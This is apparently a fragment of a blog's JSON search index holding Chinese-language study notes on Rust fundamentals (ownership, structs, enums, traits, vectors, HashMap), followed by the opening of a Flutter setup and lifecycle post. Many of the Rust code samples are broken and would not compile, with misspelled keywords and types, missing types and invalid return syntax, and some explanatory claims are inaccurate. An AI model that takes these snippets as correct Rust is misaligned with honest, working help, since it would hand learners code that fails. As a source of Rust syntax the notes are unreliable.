path = \u0026quot;../hyper\u0026quot; } # 来自本地文件 构建依赖到项目中\ncargo build halloword\n当构建完成后，会在项目的根目录中创建一个名叫Cargo.lock的文件，该文件记录项目依赖的版本\nsrc/main.rs是该项目的程序编写文件\n在src/main.rs添加以下内容\nfn main() { println!(\u0026quot;hallo, world\u0026quot;); }; 进入该项目根目录运行该项目\ncargo run\n或者直接编译main.rs\nrustc main.rs ./main\n注意：在windows上，需要加.exe，.\\main.exe\n在hallo word例子中看到，fn是创建函数的关键字，main是函数名，该函数调用了println!()，其实这是一个macro（宏），\u0026ldquo;hallo, world\u0026quot;作为字符串参数传递到了该宏中\n另外cargo提供了一个命令，来不用生成二进制文件的前提下构建项目，来检查项目的错误\ncargo check\nbuild和run默认是debug版本的，如果需要编译release版本执行cargo build \u0026ndash;release\n在rust中函数是一等公民，其中main函数是程序的入口函数（和golang一样）\n注释可以让rust编译器忽略，例如：// hallo word\n多行注释可使用块注释，例如：\n/* hallo word */ 文档注释，行注释例如：\n/// 1 /// 2 /// 3 文档块注释，例如：\n/** hallo word */ 注意：文档注释必须位于lib类型的包中，文档注释看使用md语法\n可使用cargo doc命令，来对文档注释生成html文件，放在target/doc目录下，也可以使用 cargo doc \u0026ndash;open 生成文档后自动打开html网页\n变量通过let关键字来创建\nfn main() { let mut abc = \u0026quot;hallo word\u0026quot;; abc = \u0026quot;hhh\u0026quot;; println!(\u0026quot; abc: {}\u0026quot;,abc); }; 注意：rust变量默认是不能变得，需要通过mut关键字来让变量可变\n变量存在遮蔽性，如果使用let关键重复声明同一个变量，会遮蔽之前声明的变量的值和类型\n变量的遮蔽性和mut关键字的区别是，mut关键字无法修改变量的类型，mut关键字修改的只能是相同类型的值\n常量通过const关键字来创建\nfn main() { const ABC = \u0026quot;hallo word\u0026quot;; println!(\u0026quot; ABC: {}\u0026quot;,ABC); }; 常量不可变，也不能使用mut，而且必须声明类型（字面量也算是一种类型声明）\n数据类型\nrust是静态型编译语言，因此需要在编译之前就知道全部变量的类型\nrust有4大基础类型，这个基础类型又叫标量类型，分别是整型，浮点型，布尔型，字符型\n整型就是没有小数的整数（分符号类型和无符号类型，区别是是否为负数，可能为负数使用有符号类型，不可能为负数使用无符号类型）\n整型使用u表示无符号类型，用i表示有符号类型，再声明使用多少位的空间，例如i32，就是占32位空间的有符号类型\n还有2个特殊的类型，isize和usize，这个类型取决程序执行环境的系统架构，使用64位架构就是占64位空间\n整型支持十进制，八进制，二进制，十六进制和字节，rust默认使用i32类型\n注意：使用有符号类型会将以二进制补码的方式来存储\n浮点类型，就是带小数的数字，rust的浮点型有2个类型，分别是f32和f64，默认是f64，f64是双精度浮点型，f32类型是单精度，并且全部类型都是具备符号的（可为负数）\n布尔类型，布尔类型只能是这2个值得其中之一，true和false，布尔类型使用bool关键字来声明，例如 let a: bool = true;,当然也是可以使用字面量来声明\n字符类型，字符类型使用单引号包括，并且只能表示一个Unicode字符（因为字符类型只使用4个字节）\n字符串类型使用双引号表示，可表示多个字符，使用String表示，例如：\nlet a:String = \u0026quot;hallo word\u0026quot;; prinln!(\u0026quot;{}\u0026quot;,a); 除了标量类型外还有复合类型，复合类型有6种，分别是元组和数组，枚举，结构体，字符串，切片\n元组类型就是无法扩展和收缩的数组（元组可使用不同的类型），长度是固定的，例如：\nlet a: (i64, f64) = (100,3.14); 获取元组的元素可通过解构的方式来完成，例如：\nlet a: (i64, f64) = (100,3.14); let (b,c) = a; 也可以通过索引值来获取，例如：\nlet a: (i64, f64) = (100,3.14); let b = a.1; 元组的索引是从0开始的\n数组类型和元组不同，数组的类型必须是相同类型的，数组长度也是固定的\nlet a = [1,233,666]; rust也提供了动态数组（vector），动态数组将被分配到堆内存空间，而普通数组会被分配到栈内存空间\n动态数组使用Vec的方式来声明，动态数组也不能使用不同的类型，但是动态数组可以扩展空间和缩小，而且全部元素在内存是相邻排列的，可使用Vec::new()来创建一个空的动态数组，例如：\nlet a: Vev\u0026lt;u64\u0026gt; = Vec::new(); 当然也可以提供初始值来创建\nlet b = vec![2,4,68]; rust可以根据字面量来自动推断出类型\n动态数组增加元素使用push方法，例如：\nlet mut a: Vev = Vec::new()； a.push(1); a.push(2); a.push(3); a.push(4); a.push(5);\n注意：动态数组离开当前作用域会被丢弃销毁\n获取动态数组的元素，可通过get方法或者索引来完成，例如：\nlet a = vec![2,4,68]; let b = a.get(2); let c = \u0026amp;a[2]; get方法和索引的区别是，get方法访问超过数组不存在的元素是不会报错的，而是返回none，而索引访问是会导致报错，程序崩溃的\n遍历动态数组\nlet a = vec![2,4,68]; fot i in \u0026amp;a{ println!(\u0026quot;{}\u0026quot;,i); }; 动态数组支持枚举类型，这可以让动态数组存储不同类型的值，例如；\nenum Hallo{ Int(i64), Text(String), }; let a = vec![ Hallo::Int(666), Hallo::Text(Sting::from(\u0026quot;hallo word\u0026quot;)), ]; 函数，是rust的第一个公民，main函数是rust程序入口文件，而且函数定义可在main函数之前或者之后，使用fn关键字来声明，例如：\nfn hallo_word(){ println!(\u0026quot;hallo word\u0026quot;); }; fn main(){ hallo_word(); }; 函数参数\nfn main(){ a(666); }; fn a(x:i64){ println!(\u0026quot;{}\u0026quot;,x); }; 函数返回值\nfn main(){ a(666); }; fn a(x:i64) -\u0026gt;{ x+123 }; 注意：返回值使用-\u0026gt;返回，而且不能使用分号，因为语句无法作为返回值返回\nif判断\nlet a = 1; if a \u0026lt;10{ println!(\u0026quot;true \u0026gt;10\u0026quot;); }else if(a\u0026gt;0){ println!(\u0026quot;true \u0026gt;10\u0026quot;); }else{ println!('none') }; 注意：if判断必须提供一个布尔类型的值，否则会抛出错误\n表达式是可以赋值给变量的，例如：let boola = true; let a = if boola{1} else{2}\nrust的循环有3种，分别是for，while，以及loop\nfor遍历循环（常用于遍历集合元素），例如：\nlet a = [1,2,3,45,6]; for b in a { println!(\u0026quot;{}\u0026quot;,b); }; while循环，条件为真执行，为假停止循环。例如：\nlet mut a = 0 while a \u0026lt;= 10{ println!(\u0026quot;hallo wrod\u0026quot;); a +=1; }; loop关键字可以一直执行语句，直到被跳出（可使用break关键字），例如：\nlet mut count = 0; loop{ println!(\u0026quot;hallo word\u0026quot;); if (count == 5){ break; }; count +=1; }; loop循环可以搞个标签，来指定终止哪次循环（嵌套循环下），例如：\u0026lsquo;a\u0026rsquo;: loop{ break \u0026lsquo;a\u0026rsquo;}\ncontinue操作符可跳出当前循环，去执行下次循环，一般搭配if分支语句来使用\n所有权\n所有权是rust的特性之一，无需gc垃圾回收机制就可以保证内存安全\n作用域是一个语句块在程序中有效的范围，在该范围内的变量是有效的，离开该范围后将自动释放内存空间\n释放内存空间是使用rust提供的一个叫drop函数，会在结尾}自动调用该函数\n当一个变量的值是指针时，赋值给另一个变量，当这2个变量离开作用域后，会导致二次释放，因为这2个变量指向的是同一个内存空间地址，二次释放会导致内存污染，这个指针实质上是在堆上的\nrust为了解决二次释放导致的内存安全问题，当一个存在指针值的变量赋值给另一个变量后，会销毁第一个变量，而无需再等到离开作用域，第一个变量将变成是无效的，这个赋值将不是复制，而是剪切板一样，移动数据\n如果需要复制堆的数据，可使用clone方法，例如：\nlet a = String::from(\u0026quot;hallo word\u0026quot;); let b = a.clone(); println!(\u0026quot;{},{}\u0026quot;a,b); 注意：移动数据只针对栈上的指针之类的有效，如果是赋值的是整型之类存在在栈上的，是不需要移动，因为复制指针这些\u0026quot;引用类型\u0026quot;需要耗费性能，rust通过copy trait标注来决定是否赋值给其他变量后，这个变量是否还有效，只要类型实现了copy trait就可以\n支持copy trait的类型：全部整数类型，布尔类型，浮点类型，字符类型，元组（部分类型支持）\n为了避免需要引用变量而导致原变量失效，rust提供了引用功能，例如：\nlet a = String::from(\u0026quot;hallo word\u0026quot;); let b = \u0026amp;a; 引用不会具备该值的所有权，但是可以指向这个值\n引用实质上是借用的，是不能修改借用的值，如果想修改可提前对具备所有权的变量声明mut可变，例如：\nlet mut a = String::from(\u0026quot;hallo\u0026quot;); let b = \u0026amp;mut a; 注意：同一个作用域中只能有一个对这个数据进行可变引用，使用多个可变引用会报错，这是为了避免竞争\n切片类型也是没有所有权的，对切片类型进行操作，是不会影响到原来的值，例如：\nlet a = String::from(\u0026quot;hallo world\u0026quot;); let hello = \u0026amp;a[0..5]; let world = \u0026amp;a[6..11]; a.clear(); 结构体与元组一样，元素可以是多个类型，但是和元组不同的是，结构图具备元素别名，并且使用struct来定义结构体，例如：\nstruct Name{ id: i64, username: String, email: String, pass: String, }; 上面例子就是一个结构体，这个结构体的名称叫Name，具备4个字段，每个字段有自己对于的字段名称和类型\n有结构体当然也有结构体实例，结构体是结构体实例的抽象\nlet name1 = Name{ id: 1, username: String::from(\u0026quot;root\u0026quot;), email: String::form(\u0026quot;a@xiaochenabc123.test.com\u0026quot;), pass: String::form(\u0026quot;123456789\u0026quot;), }; println!(\u0026quot;hallo {}\u0026quot;, name1.username); name1.email = String::from(\u0026quot;b@xiaochenabc123.test.com\u0026quot;); 注意：结构体实例必须按照结构体每个字段的类型要求进行初始化，不需要按照结构体声明的字段顺序一样\n利用函数返回值来完成结构体的实例化，例如：\nfn NameTest(username: String, email: String, pass: String) -\u0026gt;{ Name{ username, email, pass, }; }; fn main(){ let name01 = NameTest(\u0026quot;user01\u0026quot;,\u0026quot;test@xiaochenabc123.test.com\u0026quot;,\u0026quot;12356987\u0026quot;); println!(\u0026quot;hallo {}\u0026quot;, name01.username); }; 基于已有的实例，创建新的实例，例如：\nlet name2 = Name{ username: String::from(\u0026quot;uesr02\u0026quot;), ..name01 }; 注意：其中..name01是表示其他字段将从name01实例中获取\n元组结构体（结构体字段没名称的就叫元组结构体）\nstruct Abc(i64,bool,f64); let abc1 = Abc(100,true,3.14); 单元结构体（这玩意和go的空结构体一样，只定义一个结构体，但是没有字段和属性）\nstruct Xyz; let xyz1 = Xyz; 结构体的所有权：当使用已有的实例，创建新的实例时，改变的字段的所有权将会被转移到新的实例，原有的实例的那个字段将失效，其他字段正常，因此使用结构体应该避免使用引用类型\n枚举\nenum HomeTest{ Hallo, Xyz, Abc, Hahaha(i64) }; struct Demo{ home: HomeTest, id: i64, } fn main(){ let test1 = HomeTest::Hallo; let test2 = HomeTest::Abc; println!(test1); println!(test2); let a = Demo{ home: HomeTest::Abc, id: 1, } let b = Demo{ home: HomeTest::Hallo, id: 2, } } 上面例子中，通过enum关键字声明并且定义一个枚举类型，这个枚举类型有3个枚举成员，通过::操作符来访问枚举的成员，枚举是一种类型，因此可用于函数参数类型，结构体类型等等\n枚举的成员可以是任何类型的数据，也可以限制成员的数据类型，结构体使用{}，单个使用()，多个可使用逗号分割\nrust的空值使用Option枚举类型来表示，而不是null\nOption，Some，None都包含在prelude标准库中，不需要在源码中声明，或者引用，直接就可以使用\nOption枚举类型的实现\nenum Option\u0026lt;T\u0026gt; { Some(T), None, }; 表示一个空值\nlet null1: Option\u0026lt;i64\u0026gt; = None; 如果使用None，则需要提前提供是什么类型，因为无法通过None来推断出类型\nOption比null好的原因是，Option(T)和任何类型都不相同，无法将Option和i64类型的值进行处理\n如果有值则：\nlet num1:Option \u0026lt;i64\u0026gt; = Some(233); 如果使用Some，表示有个值存于Some中\n使用Option枚举类型：\nfn Test(a:Option\u0026lt;i64\u0026gt;) -\u0026gt; Option\u0026lt;i64\u0026gt; { match a { Some(i) =\u0026gt; Some(i), None =\u0026gt; None, } } let abc = Some(666); let xyz = Test(abc); 上面例子中，通过Test函数传入一个Option类型的参数，并且返回一个Option类型的值，使用match模式匹配，如果传入None则返回None，传入Some(i64)，则返回其本身（也就是Some(i64)）\n模式匹配\nmatch语句\nenum Demo{ Hallo, Abc, Xyz, }; let test1 = Demo::Xyz; let test2 = match test1 { Demo::Hallo =\u0026gt; \u0026quot;hallo word\u0026quot;, Demo::Abc | Demo::Xyz =\u0026gt; \u0026quot;hallo abcxyz\u0026quot;, }, _ =\u0026gt;\u0026quot;0\u0026quot;, }; 上面例子中进行匹配Demo对应的枚举类型，match会穷尽列出全部已知的可能，如果存在不知道的可能，使用下划线_来表示，match语句与switch语句很像，match的分支必须指向一个表达式，而且每个分支的表达式结果必须是相同类型的\n假如只想对单个模式来进行处理，可使用if let语句，例如：\nlet test1 = Demo::Xyz; if let Test2(Demo::Xyz) = test1{ println!(\u0026quot;hallo wrod\u0026quot;); } 上面例子中，如果匹配到Demo::Xyz，输出hallo wrod，如果不匹配则忽略\n注意：match和if let会在模式匹配时进行覆盖老值，绑定新的值\nmatches!宏匹配，可以将一个表达式和模式来进行匹配，返回结果是布尔值，例如：\nlet a = 1; assert!(matches!(1..100 | -1..-100)); 方法\nrust使用impl关键字来定义方法\nstruct Demo { id: i64, user: String, } impl Demo { fn new(id: i64, user: String) -\u0026gt; Demo { Demo{ id: id, user: user, } } fn printa(\u0026amp;self){ println!(self.user) } } fn mian(){ let a = Demo{ id: 1, user: \u0026quot;root\u0026quot;, } a.printa() } \u0026amp;self为借用Demo结构体，new函数是Demo方法的关联函数，用于初始化结构体实例\n\u0026amp;self是self: \u0026amp;Self的简写，self有所有权，而\u0026amp;self是表示不可变借用，\u0026amp;mut self就是可变借用\nimpl Demo是struct Demo的实现，另外rust允许方法名与结构体的字段名相同，调用方法加()，否则就是在访问字段\nrust自动引用和解引用：当一个对象调用方法时，会自动为该对象添加\u0026amp;，\u0026amp;mut，*来确保该对象能与方法匹配\n关联函数：当一个存在于impl中，但是没有使用self的函数就被叫关联函数，通常存在impl中的new函数是结构体的构造实例器（rust没有使用new作为关键字，并不强制使用new）\n关联函数因为不是方法，需要使用::来调用，例如Demo::new(2,\u0026ldquo;admin\u0026rdquo;)\nrust允许将结构体定义成多个impl块，而不需要全部都写到一块，更灵活扩展\n枚举类型也可被实现\n泛型与特征\n泛型，当需要对可能存在不同类型的数据处理，但是处理逻辑是一样时，可使用泛型来避免重复，例如：\nfn test\u0026lt;T: std::ops::Add\u0026lt;Output = T\u0026gt;\u0026gt;(a:T, b:T) -\u0026gt; T { a + b } fn mian(){ println!(\u0026quot;{}\u0026quot;,test(1,2)); println!(\u0026quot;{}\u0026quot;,test(3.14,1.23)); } 注意：T是泛型参数，泛型参数是可自定义的，不过一般都是用T（表示Type），T可以表示任何类型，但是不是所有类型可以进行比较运算处理的，需要通过特征（这里是\u0026lt;T: std::ops::Add\u0026lt;Output = T\u0026gt;）来限制T的类型\n结构体泛型\nstruct Demo\u0026lt;T\u0026gt;{ a: T, b: T, } fn main(){ let x = Demo{a: 1,b: 21}; let y = Demo{a: 1.23, b: 3.14}; let z = Demo{a: \u0026quot;hallo word\u0026quot;, b: \u0026quot;hahaha\u0026quot;} } 注意：结构体中使用T泛型的，必须是相同类型，因为第一个字段被赋值，会推断T类型为该赋值的实质类型，因此会报错的\n如果想使用类型不同，又想使用泛型，可使用多个泛型参数来分别表示不同的类型\n枚举泛型，Option枚举类型就是使用了泛型的，这里就不写了\n方法泛型，例如：\nstruct Demo\u0026lt;T, U\u0026gt; { id: T, user: U, } impl\u0026lt;T,U\u0026gt; Demo\u0026lt;T,U\u0026gt; { fn new(id: T, user: U) -\u0026gt; Demo\u0026lt;T,U\u0026gt; { Demo{ id: id, user: user, } } fn printa(\u0026amp;self){ println!(self.user) } } 注意：使用泛型参数必须在提前声明\nconst泛型（Rust 1.51 版本引入）\nconst泛型是针对值的泛型，而不是针对类型，例如：\nfn Demo\u0026lt;T: std::fmt::Debug,const U:i64\u0026gt;(a:[T; U]){ println!(\u0026quot;{:?}\u0026quot; a) } fn main(){ let a: [i64:5] = [0,123,666,888,987]; Demo(a) let a: [i64:2] = [0,123]; Demo(a) } rust在编译阶段会对泛型的多个类型生成独立的代码（单态），会牺牲一些编译完成文件的大小和编译速度\n特征\n声明一个特征使用trait关键字，例如：\npub trait Demo { fn DemoTest(\u0026amp;self); } 实现一个特征\npub struct Home { pub user: String, pub pass: String, } impl Demo for Home { fn DemoTest(\u0026amp;self) -\u0026gt; String { format!(\u0026quot;用户是{},密码是{}\u0026quot;,self.user,self.pass); } } pub struct Abc { pub admin: String, pub rank: String, } impl Demo for Abc { fn DemoTest(\u0026amp;self) -\u0026gt; String { format!(\u0026quot;管理者是{},管理等级是{}\u0026quot;,self.admin,self.rank); } } fn main() { let home1 = Home{user: \u0026quot;xiaochen\u0026quot;,padd: \u0026quot;abc123456789\u0026quot;}; let xyz = Abc{admin: \u0026quot;main\u0026quot;,rank: \u0026quot;max\u0026quot;}; println!(\u0026quot;{}\u0026quot;,home1.DemoTest()); println!(\u0026quot;{}\u0026quot;,xyz.DemoTest()); } 从上面的例子中可以看出，特征是定义了一种行为，实现该特征就可使用该行为，特征和结构体，枚举类型是很像的，但是特征可被共享到每个实现上（因为rust没有继承概念，但是行为/方法是相同的）\n注意：特征存在一种规则，想实现一个特征必须至少一个是在当前作用域定义的，这个规则是为了避免不会破坏特征和实现的定义\n默认实现（无需实现该方法，默认使用该实现，也可对默认实现进行重载）\npub trait Demo { fn DemoTest(\u0026amp;self) -\u0026gt; String { String::form(\u0026quot;hallo wrod\u0026quot;); } } 只要在实现中没有重载该方法，就会使用默认实现\n特征作为函数参数\npub fn Demo1(data: \u0026amp;impl Demo){ println!(\u0026quot;{}\u0026quot;,data.DemoTest()); } 在上面例子中，data函数参数实现了Demo特征，当然也可以使用其他实现了Demo特征的类型来作为参数\n特征约束\npub fn Demo2\u0026lt;T: Demo\u0026gt; (data: \u0026amp;T){} 上面例子就是特征约束，特征约束可限制函数参数必须是实现了Demo特征的类型\n多重约束\npub fn Demo3\u0026lt;T: Demo + AbcTest\u0026gt; (data: \u0026amp;T){} 或者\npub fn Demo3(data: \u0026amp;(impl Demo + AbcTest)){} 上面例子就是多重约束，可限制参数必须使用Demo特征，还必须实现AbcTest特征\nWhere 约束（简写多重约束）\npub fn Demo4\u0026lt;T\u0026gt;(data: \u0026amp;T) -\u0026gt; String where T: Demo + AbcTest, {} 特征约束高级应用\nimpl \u0026lt;T:Dome1 + Dome2\u0026gt; Demo\u0026lt;T\u0026gt; { fn Test1(\u0026amp;self){ println!(\u0026quot;hallo word\u0026quot;); } } 上面例子中，只有实现了Dome1特征和Dome2特征的Demo才拥有Test1方法\nimpl Demo也可以声明返回了一个类型，这个类型实现了Demo特征，例如：\nfn Demo5() -\u0026gt; impl Demo { Home{ user: String::from(\u0026quot;xiaochen\u0026quot;), padd: String::from(\u0026quot;abc123456789\u0026quot;), }; } 集合类型\n集合类型，在rust中是特殊的类型，因为集合类型可以表示多个值，而其他数据类型大多只能表示一个值，集合类型的值被分配到堆内存上，集合类型分3种，分别是vector动态数组（每个元素分配的空间都是一致的，大小，宽度，高度），HashMap KV存储（每个元素都是成对，一个k对应着另一个v），以及String类型\n创建vector动态数组\nlet mut a: Vec(i64) = Vec::new(); 注意：rust编译器可通过a.push()自行推导出数据类型，因此不显式声明类型也是没问题的\n还可以通过vec!宏来创建，例如：\nlet mut a = vec![123,666,888,1000]; 更新动态数组，通过push方法来完成，例如：\nlet mut a = Vec::new(); a.push(123); 读取元素，有2种方式，分别是下标索引，get方法，例如：\nlet mut a = vec![123,666,888,1000]; let b: \u0026amp;i32 = \u0026amp;a[3]; match a.get(3){ Some(c) =\u0026gt; println!(\u0026quot;{c}\u0026quot;), None =\u0026gt; println!(\u0026quot;没有这个元素\u0026quot;) } 集合类型的下标索引从0开始，\u0026amp;a[3]是借用a动态数组的第4个元素，也就是1000，最后获取导该元素的引用\nget方法的返回值是Option\u0026lt;\u0026amp;T\u0026gt;，因此需要match来匹配解构出目标值\n下标索引和get方法的区别，很简单，就是下标索引会出现数组越界问题（报错），而get方法通过Option\u0026lt;\u0026amp;T\u0026gt;。如果不存在该值会返回None（安全，不报错）\n动态数组和其他类型一样，超出作用域外，会被自动销毁\n注意：动态数组的大小是可变的，因此当原数组大小不够时，会分配一个更大的内存空间，再将原数组拷贝到这个更大的内存空间的新数组上，因此在push之前不要进行任何引用避免分配到新内存空间后，之前的引用指到一块无效的内存，rust编译器会自动检查，如果在push之前进行了引用（包括不可变借用和可变借用），如果在push之后没有使用，就正常通过，如果使用了，会报错\n可创建指定大小的Vector，通过Vec::with_capacity(10)来完成\n迭代遍历动态数组元素\nlet mut a = vec![123,666,888,1000]; for i in \u0026amp;mut a { *i += 1; println!(\u0026quot;{i}\u0026quot;); } 通过枚举类型和特征对象来实现动态数组存储不同类型的元素，例如：\n枚举类型\nenum Abc { id(i64), user(String), padd(String), } fn useraddr(abc:Abc){ println!(\u0026quot;{:?}\u0026quot;,abc); } fn main(){ let a = vec![ Abc::id(1); Abc::user(\u0026quot;admin\u0026quot;.to_string()); Abc::padd(String::from(\u0026quot;123456\u0026quot;)); ] for i in a { useraddr(i); } } 特征对象\ntrait Abc { fn useraddr(\u0026amp;self); } struct id(i64); imp Abc for id { fn useraddr(\u0026amp;self) { println!(\u0026quot;id: {:?}\u0026quot;,self.0) } } struct user(String); imp Abc for user { fn useraddr(\u0026amp;self) { println!(\u0026quot;user: {:?}\u0026quot;,self.0) } } struct padd(String); imp Abc for padd { fn useraddr(\u0026amp;self) { println!(\u0026quot;padd: {:?}\u0026quot;,self.0) } } fn main() { let a: Vec\u0026lt;data\u0026lt;dyn Abc\u0026gt;\u0026gt; = vec![ data::new(id(1)), data::new(user(\u0026quot;admin\u0026quot;.to_string())), data::new(padd(\u0026quot;123456\u0026quot;.to_string())), ]; for i in a { i.useraddr(); } } 注意：必须表示数组中存储的是哪个特征的对象，例如上面例子中的Vec\u0026lt;data\u0026gt;，表示是特征Abc的对象\nHashMap KV存储和动态数组不同，存储的是映射的KV键值对，可通过一个键查询到值，查询效率非常高，复杂度为O(1)\n创建HashMap KV存储\n可通过new方法创建，例如：\nuse std::collections::HashMap; let mut hashdata = HashMap::new(); hashdata.insert(\u0026quot;uesr\u0026quot;,\u0026quot;admin\u0026quot;); hashdata.insert(\u0026quot;padd\u0026quot;,\u0026quot;admin12345\u0026quot;); 注意：HashMap没有包含在Rust的prelude中，需要手动从标准库中use引入\n可创建指定大小的HashMap，通过HashMap::with_capacity(10)来完成\n可以通过迭代器和collect方法创建，例如：\nuse std::collections::HashMap; let DataList = vec![ (\u0026quot;牛奶\u0026quot;.to_string(), 3), (\u0026quot;方便面\u0026quot;.to_string(), 4), (\u0026quot;可乐\u0026quot;.to_string(), 3), ]; let MapData: HashMap\u0026lt;_,_\u0026gt; = DataList.into_iter().collect(); println!(\u0026quot;{:?}\u0026quot;,MapData) 注意：HashMap的所有权取决于kv的类型，如果类型实现了Copy特征，那么改类型被复制到HashMap中，如果没有实现，则所有权转移到HashMap\n获取HashMap元素通过get方法，例如：\nuse std::collections::HashMap; let mut abc = HashMap::new(); abc.insert(String::from(\u0026quot;雪糕\u0026quot;), 4); let test = String::from(\u0026quot;雪糕\u0026quot;); let testSearch: Option\u0026lt;\u0026amp;i32\u0026gt; = abc.get(\u0026amp;test); let testScore: i32 = testSearch.get(\u0026amp;test).copied().unwrap_or(0); 上面例子使用了借用规则，避免获取元素时，发生所有权的转移，并且使用Option\u0026lt;\u0026amp;i32\u0026gt;类型，如果没有该对象，返回None，安全\n更新HashMap的中，例如：\nuse std::collections::HashMap; let mut data1 = HashMap::new(); data1.insert(\u0026quot;薯条\u0026quot;, 5); let a = data1.insert(\u0026quot;薯条\u0026quot;, 10); assert_eq!(a, Some(5)); let b = data1.get(\u0026quot;薯条\u0026quot;); assert_eq!(b, Some(\u0026amp;10)); let c = data1.entry(\u0026quot;啤酒\u0026quot;).or_insert(5); assert_eq!(*c, 5); 上面例子中包含覆盖值；查询新插入的值；查询目标值，如果不存在则插入新值，3种情况\n注意：不是所有类型都可以作为hashmap的key，能否作为取决于类型是否实现了std::cmp::Eq特征（相等比较），目前HashMap使用的哈希函数是SipHash散列函数\n类型转换\n包和模块\n格式化输出\n生命周期\n错误处理\n","permalink":"https://chenjunlinabc.github.io/posts/142/","summary":"Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会\n安装\n官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）\n通过rustup-init来安装Rust\nhttps://www.rust-lang.org/zh-CN/tools/install\nwindows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装\nLinux或者macOS则直接执行以下命令\ncurl \u0026ndash;proto \u0026lsquo;=https\u0026rsquo; \u0026ndash;tlsv1.2 -sSf https://sh.rustup.rs | sh\n注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC\n检查是否安装完成\nrustc \u0026ndash;version\n如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用\n更新rust\nrustup update\n卸载rust和rustup\nrustup self uninstall\n在安装rustup的同时也会安装Cargo\nCargo是rust的项目构建工具和包管理器\n检查是否安装成功\ncargo \u0026ndash;version\n创建第一个rust项目\ncargo new halloword\n其中Cargo.toml文件是项目的依赖库文件\n通过编辑Cargo.toml文件来添加依赖\nrust依赖可通过https://crates.io/查找\n[package] name = \u0026quot;hallo_word\u0026quot; version = \u0026quot;0.0.1\u0026quot; edition = \u0026quot;2021\u0026quot; [dependencies] hyper = \u0026quot;0.14.20\u0026quot; # 来自https://crates.io/ # hyper = { git = \u0026quot;https://github.com/hyperium/hyper\u0026quot; } # 来自第三方社区 # hyper = { path = \u0026quot;.","title":"Rust学习笔记"},{"content":"Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用\n闲鱼和Now直播，美团，快手都使用了Flutter\n获取Flutter\nhttps://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip\n添加path环境变量\n由于Flutter库是在google那，因此需要设置第三方可信镜像库\n设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量\nPUB_HOSTED_URL设置为https://pub.flutter-io.cn\nFLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn\n（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）\n其他可信第三方镜像库：\n腾讯云镜像\nPUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.cloud.tencent.com/flutter）\n清华大学镜像\nPUB_HOSTED_URL（https://mirrors.tuna.tsinghua.edu.cn/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）\n添加Flutter环境变量path，解压路径\\flutter\\bin\n执行where.exe flutter dart，如果有反应，说明path环境配置完成\n（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））\n这里用Visual Studio Code的Flutter插件\n创建第一个demo（项目名必须全小写，可用_下划线）\nflutter create flutterdemo\n启动项目（编译执行）\nflutter run\nDart是静态类型语言，它会在定义时绑定数据类型（var）\nDart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数\nDart库管理（pub.dev）,在pubspec.yaml添加库\n实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）\nDart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）\nDart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束\nflutter项目下的lib/main.dart，class MyApp类下\n修改为 home: const MyHomePage(title: \u0026lsquo;Hallo word\u0026rsquo;), // 当前title信息\n在return Scaffold下的body: Center下的，修改为children: [const Text(\u0026lsquo;Hallo word\u0026rsquo;,),\n运行后可以看到一个title以及内容都为Hallo word的app\nflutter自带了可视化工具，Dart DevTools\n自己写一个main.dart\nvoid main() =\u0026gt; runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: \u0026quot;hallo word\u0026quot;, // app的title theme: ThemeData( primarySwatch: Colors.orange, // 页面的主题颜色 ) home: Scaffold( appBar: AppBar( title: Text(\u0026quot;hallo word\u0026quot;), // 当前页面的title ), body: Center( child: Text('hallo flutter'), // 当前页面的文本 ), ), ); } } flutter run\n（热更新，在执行中输入r或者R）（按p为显示网格，按q为退出，按o为切换android和ios的预览模式）\n这边用安卓实机调试（也可以用安卓模拟器，例如夜神模拟器）\n使用flutter devices命令检查是否寻找到该机，记得开启开发者模式，打开调试，允许调试，开启允许USB安装，数据线连接到电脑，并且安装和实机（虚拟机）中的安卓版本sdk，如果官网打不开，可去https://www.androiddevtools.cn/下载或者在Android Studio中安装，下载安装Google USB Driveer（也可以在Android Studio中安装）\nflutter生命周期\nflutter组件分为无状态组件和有状态组件，无状态组件就是单纯显示内容的，没有逻辑计算，因此只渲染一次，有状态组件就是具备逻辑交互功能的组件，会因为数据发生变化而多次渲染，这个概念和JavaScript是一样的\n无状态组件的生命周期只有一个，build\n有状态组件生命周期分别为\ncreateState：该钩子在StatefulWidget中创建State的方法，当StatefulWidget被调用时会立即执行 